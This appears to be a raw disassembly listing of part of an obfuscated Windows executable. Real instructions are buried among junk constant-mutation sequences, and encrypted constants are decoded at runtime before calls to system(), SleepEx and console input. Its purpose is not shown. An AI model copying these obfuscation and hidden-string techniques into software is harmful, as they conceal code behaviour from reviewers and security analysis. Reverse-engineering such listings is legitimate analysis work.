movabs rax, 0x5dd66760aa40ab70
pushf
not rax
add rax, 0x4822d072
xor rax, 0x60669604
rol rax, 0x78
popf
pushf
not rax
add rax, 0x5e33add3
xor rax, 0x5cecbf09
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x6f6dbb89
xor rax, 0x5b1ed57e
rol rax, 0x93
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x380]
call fcn.140114320
mov rax, qword [rbx + 0x28]
lea r8, [rbp + 0x380]
cmp qword [rbp + 0x398], 0xf
cmova r8, qword [rbp + 0x380]
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor edx, edx
mov rcx, rdi
jmp 0x1400c37f9
call rax
mov qword [rbx + 0x40], rax
mov rdx, qword [rbp + 0x398]
test rax, rax
jne 0x1400c3851
push rax
pushf
mov eax, 0xdbe286f8
pushf
not eax
add eax, 0xe2c482b7
xor eax, 0xd1034238
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x8a97b1db
xor eax, 0xf5e6fe60
rol eax, 0x56
popf
pushf
not eax
add eax, 0xe17b8a7f
xor eax, 0x9afb2bff
rol eax, 0xcd
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x8b28f70a
pushf
not eax
add eax, 0xe976931f
xor eax, 0xa54d8e52
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xc6b9e5e2
xor eax, 0xf22bf701
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xf650096f
xor eax, 0xc0a0fb30
rol eax, 0x92
popf
pushf
not eax
add eax, 0xff02d139
xor eax, 0xe23ffb25
rol eax, 0x88
popf
jmp 0x1400bf04b
cmp rdx, 0xf
jbe 0x1400c390d
push rax
pushf
mov eax, 0xb59e8afd
pushf
not eax
add eax, 0xc6d752b7
xor eax, 0xccc96583
rol eax, 0x23
popf
pushf
not eax
add eax, 0x928e7994
xor eax, 0xe71fef5b
rol eax, 0x70
popf
pushf
not eax
add eax, 0x959a88bd
xor eax, 0xa8897f60
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xca764cb9
xor eax, 0xea8110cf
rol eax, 0x18
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x9ef9c906
pushf
not eax
add eax, 0xd2854950
xor eax, 0xe69aad97
rol eax, 1
popf
pushf
not eax
add eax, 0xb693d0f7
xor eax, 0xa0e258d1
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xd1b8dc80
xor eax, 0xadd44310
rol eax, 0x49
popf
jmp 0x1400bf04b
inc rdx
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c39c1
push rax
pushf
mov eax, 0xe0710f4e
pushf
not eax
add eax, 0xe1aadc6e
xor eax, 0xdb9a3395
rol eax, 0x20
popf
pushf
not eax
add eax, 0xe634b100
xor eax, 0x9eff4422
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x800867d0
xor eax, 0xca364536
rol eax, 0x97
popf
pushf
not eax
add eax, 0x83b5c279
xor eax, 0xe28c2015
rol eax, 0x31
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x925c4ec
pushf
not eax
add eax, 0xdc77ab15
xor eax, 0x90572ec3
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xbacf55fe
xor eax, 0x89e412f7
rol eax, 0xc7
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3a62
push rax
pushf
mov eax, 0x2d4e933c
pushf
not eax
add eax, 0xd235d8b5
xor eax, 0xf2159679
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd6a5cc53
xor eax, 0x983edb34
rol eax, 0xff
popf
pushf
not eax
add eax, 0xfe9e7fb8
xor eax, 0xa3fdf590
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xeb69a3ff
xor eax, 0xa43ad8c7
rol eax, 0x11
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x8500bd3f
pushf
not eax
add eax, 0xc5579939
xor eax, 0x8fd49ef9
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x9e90a4bc
xor eax, 0xd51efbae
rol eax, 0x64
popf
pushf
not eax
add eax, 0xa7851b7a
xor eax, 0xc2be1ae5
rol eax, 0x76
popf
jmp 0x1400bf04b
call fcn.1400dff78
jmp 0x1400c3ed0
cmp rdx, 0xf
jbe 0x1400c3b44
push rax
pushf
mov eax, 0xf81f7c21
pushf
not eax
add eax, 0xd2b831e3
xor eax, 0xca92f599
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xd3d577db
xor eax, 0xc8d37912
rol eax, 0x9a
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x2bcd9e18
pushf
not eax
add eax, 0x85bfe543
xor eax, 0xa7c0e058
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x92cd9802
xor eax, 0xcc6829a2
rol eax, 0x92
popf
jmp 0x1400bf04b
inc rdx
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3be6
push rax
pushf
mov eax, 0xa87e0b10
pushf
not eax
add eax, 0xe7e76622
xor eax, 0xd75093d9
rol eax, 0
popf
pushf
not eax
add eax, 0x8d7db331
xor eax, 0x8d929982
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xe5bd5586
xor eax, 0xb0f69b54
rol eax, 0x68
popf
pushf
not eax
add eax, 0xdb92fb4d
xor eax, 0xb87899aa
rol eax, 0x5c
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xf33c5cff
pushf
not eax
add eax, 0xcc06b487
xor eax, 0x860f4dcc
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xde1ba7cb
xor eax, 0x846a6138
rol eax, 0xa7
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c3c61
push rax
pushf
mov eax, 0xf2345b7a
pushf
not eax
add eax, 0x8e5edc66
xor eax, 0xb74b560d
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe6226d3a
xor eax, 0xd76bbbde
rol eax, 0x17
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x3bf73f47
pushf
not eax
add eax, 0xc43052b3
xor eax, 0xb11d3438
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd1ff49db
xor eax, 0x98db2383
rol eax, 0x3e
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x614c38c6
pushf
not eax
add eax, 0xcfde2792
xor eax, 0xbcb83910
rol eax, 0x16
popf
pushf
not eax
add eax, 0x827a4b25
xor eax, 0x8b85c1a7
rol eax, 0xfe
popf
jmp 0x1400bf04b
movabs rax, 0x9d91aa4a5dd70627
pushf
not rax
add rax, 0x5c106e95
xor rax, 0x785639ac
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x4de538fa
xor rax, 0x7622ea8b
rol rax, 0x54
popf
mov qword [rbp + 0x330], rax
movabs rax, 0xd9b10f9825f315a3
pushf
not rax
add rax, 0x57c2f764
xor rax, 0x6bab4f71
rol rax, 0x16
popf
pushf
not rax
add rax, 0x668e0cf3
xor rax, 0x74fb2451
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x5af76e93
xor rax, 0x58ab788d
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x729c8e13
xor rax, 0x5a258f46
rol rax, 0x27
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
lea r8, [0x1ab59bdf7]
pushf
sub r8, 0x6b58eaf7
popf
mov dl, 0x88
pushf
not dl
add dl, 0x63
xor dl, 0x8f
rol dl, 0x48
popf
pushf
not dl
add dl, 0x85
xor dl, 0x7b
rol dl, 0x3b
popf
pushf
not dl
add dl, 0x94
xor dl, 0xb
rol dl, 0x43
popf
pushf
not dl
add dl, 0xcd
xor dl, 0xf4
rol dl, 0x28
popf
lea rcx, [rbp + 0x3d0]
call fcn.1401226c9
test al, al
jne 0x1400c3e77
push rax
pushf
mov eax, 0xd24b33f1
pushf
not eax
add eax, 0xe47db771
xor eax, 0xe00c2b91
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xbd33cba7
xor eax, 0xce418df2
rol eax, 0xfe
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x5c6afc07
pushf
not eax
add eax, 0x8dda482b
xor eax, 0xaa5680cd
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xccad19db
xor eax, 0xeffe3147
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xe716a9d8
xor eax, 0xd9aea401
rol eax, 0x86
popf
pushf
not eax
add eax, 0xb3822304
xor eax, 0xe4c684b2
rol eax, 0x9e
popf
jmp 0x1400bf04b
mov rax, qword [rbp + 0x3d0]
cmp rax, qword [rbp + 0x3d8]
je 0x1400c3f13
push rax
pushf
mov eax, 0x3e04ecb4
pushf
not eax
add eax, 0xd6e58e1b
xor eax, 0xea8c01a6
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xd708171a
xor eax, 0xc00483b4
rol eax, 0x8a
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x3ddb8291
pushf
not eax
add eax, 0xe84ee285
xor eax, 0xc7c7ef58
rol eax, 0x57
popf
pushf
not eax
add eax, 0xf34ae023
xor eax, 0xa7cdbed5
rol eax, 0x98
popf
pushf
not eax
add eax, 0xae292746
xor eax, 0x8eee478a
rol eax, 0xf7
popf
jmp 0x1400bf04b
mov qword [rbp + 0x3d8], rax
push rax
pushf
mov eax, 0x9e20becb
pushf
not eax
add eax, 0x887e8916
xor eax, 0xc9cc7556
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb4b8f77f
xor eax, 0x9d2c03ce
rol eax, 0xed
popf
pushf
not eax
add eax, 0x8499106c
xor eax, 0xbe5d4158
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xcea99cef
xor eax, 0x85dec643
rol eax, 0xd4
popf
jmp 0x1400bf04b
call fcn.1401163c6
mov rcx, rax
call fcn.1400dffba
jmp 0x1400c425e
mov rax, qword [rbp + 0x3d0]
cmp rax, qword [rbp + 0x3d8]
je 0x1400c4067
push rax
pushf
mov eax, 0x8117252a
pushf
not eax
add eax, 0xffed6c1b
xor eax, 0xefb1df88
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xc12c7b64
xor eax, 0x82540e44
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xf8495a32
xor eax, 0xbc9a12cf
rol eax, 0xb
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xfd0e231f
pushf
not eax
add eax, 0xd10c02d7
xor eax, 0xc6e86d74
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x94abd498
xor eax, 0xac9aff62
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xf62fae2b
xor eax, 0xe68e434d
rol eax, 6
popf
jmp 0x1400bf04b
mov qword [rbp + 0x3d8], rax
push rax
pushf
mov eax, 0xa83dd966
pushf
not eax
add eax, 0xe9e56ba5
xor eax, 0xd3ea268a
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xf640dab9
xor eax, 0xb3ca15b1
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xe9688102
xor eax, 0xbc1cb7bd
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xa84df445
xor eax, 0xfc0586fc
rol eax, 0x67
popf
jmp 0x1400bf04b
call fcn.1401163c6
mov rcx, rax
call fcn.1400dffba
mov rdx, qword [0x1400a7ac8]
mov rax, qword [rdx + 0x30]
mov rdx, qword [rdx + 0x40]
mov rcx, rdi
jmp 0x1400c412d
call rax
movabs rax, 0x5b9f3d954e51a512
pushf
not rax
add rax, 0x49916cd3
xor rax, 0x4baf61b0
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x5a0f8172
xor rax, 0x4efc84ec
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x7c6774b2
xor rax, 0x74c2232f
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x5ad7e103
xor rax, 0x6ba6d362
rol rax, 0xe4
popf
mov qword [rbp + 0x330], rax
movabs rax, 0x76b6c20f655d238b
pushf
not rax
add rax, 0x7d30198a
xor rax, 0x42ca3ad5
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x75adae60
xor rax, 0x64694f3e
rol rax, 0xa8
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
call fcn.14010d94e
xor edx, edx
mov ecx, 0xf57d039a
pushf
not ecx
add ecx, 0xc4e5eecc
xor ecx, 0xa28832c8
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0x98a0f47f
xor ecx, 0xc0b3b0c2
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xcb443324
xor ecx, 0xfc860701
rol ecx, 0xf
popf
jmp 0x1400c4258
call qword [sym.imp.KERNEL32.dll_SleepEx]
call fcn.14011a0ef
nop
mov rcx, qword [rbp + 0x3d0]
test rcx, rcx
je 0x1400c42c9
push rax
pushf
mov eax, 0x70a61c52
pushf
not eax
add eax, 0xbc264263
xor eax, 0xb296788b
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xb1ffc15b
xor eax, 0xb6a9b1d8
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x85880ec4
xor eax, 0x8c3c85a2
rol eax, 0x10
popf
pushf
not eax
add eax, 0xb3a687ce
xor eax, 0xcb92f7af
rol eax, 0x11
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xa49c0b0f
pushf
not eax
add eax, 0xc1f5e8db
xor eax, 0xd05d6606
rol eax, 0x45
popf
pushf
not eax
add eax, 0xb30b2fbe
xor eax, 0x8873b604
rol eax, 0xa7
popf
jmp 0x1400bf04b
mov rdx, qword [rbp + 0x3e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c4345
push rax
pushf
mov eax, 0xbbd5c2f3
pushf
not eax
add eax, 0xc51ec0f9
xor eax, 0xbcbc1233
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf49268a7
xor eax, 0x9296b8ff
rol eax, 0x90
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x17ed937
pushf
not eax
add eax, 0x9fe347e2
xor eax, 0xd1b71589
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x85837a0d
xor eax, 0xe9c2da4d
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xdb08f24f
xor eax, 0xfaa46aa8
rol eax, 4
popf
pushf
not eax
add eax, 0xc8f5db55
xor eax, 0xc2452029
rol eax, 0x9e
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c43f9
push rax
pushf
mov eax, 0x70f8f08a
pushf
not eax
add eax, 0xd55a1088
xor eax, 0xddbd8ab0
rol eax, 0x70
popf
pushf
not eax
add eax, 0xc53d29a6
xor eax, 0xec8233ca
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xc20c618f
xor eax, 0xb2fea8ae
rol eax, 0x1c
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xd216555d
pushf
not eax
add eax, 0xb565ce09
xor eax, 0xe6e3c10d
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xdcf78fd1
xor eax, 0xa9eb5e03
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xf3565e33
xor eax, 0xa2f43347
rol eax, 0xb0
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rsi
push rax
pushf
mov eax, 0xbfad7ab2
pushf
not eax
add eax, 0xb7cb0805
xor eax, 0xfacd2fe3
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xae3ca962
xor eax, 0xb30d7f40
rol eax, 0x75
popf
pushf
not eax
add eax, 0xca233164
xor eax, 0xe6354d93
rol eax, 0x1a
popf
jmp 0x1400bf04b
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [0x1bd05c882]
pushf
sub rax, 0x7cfd794a
popf
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf0]
call fcn.14013552a
lea rcx, [rbp + 0xf8]
jmp 0x1400c4527
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x170]
jmp 0x1400c4535
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov edi, esi
jmp 0x1400c46ac
mov qword [rbp + 0x330], rbx
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
jmp 0x1400c45ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x9c671dde68f26f1d
pushf
not rax
add rax, 0x694a2025
xor rax, 0x5e2ae623
rol rax, 0x98
popf
pushf
not rax
add rax, 0x47637979
xor rax, 0x74af7f2f
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x48b47221
xor rax, 0x7b09426c
rol rax, 0x7c
popf
mov qword [rbp + 0x330], rax
movabs rax, 0x4c23a37fc0be4a75
pushf
not rax
add rax, 0x5dc5c3e8
xor rax, 0x4891abd5
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x59eb3cb3
xor rax, 0x6c135528
rol rax, 0x36
popf
pushf
not rax
add rax, 0x6e2854ae
xor rax, 0x79817dc7
rol rax, 0x97
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rdi
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
jmp 0x1400c4699
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
call fcn.14011a0ef
call fcn.14011a0ef
mov edi, r14d
lea rcx, [rbp + 0x298]
call fcn.140017d70
lea rcx, [rbp + 0x278]
call fcn.140018410
lea rcx, [rbp + 0x1d0]
call fcn.140018200
mov eax, edi
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140108cb2
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret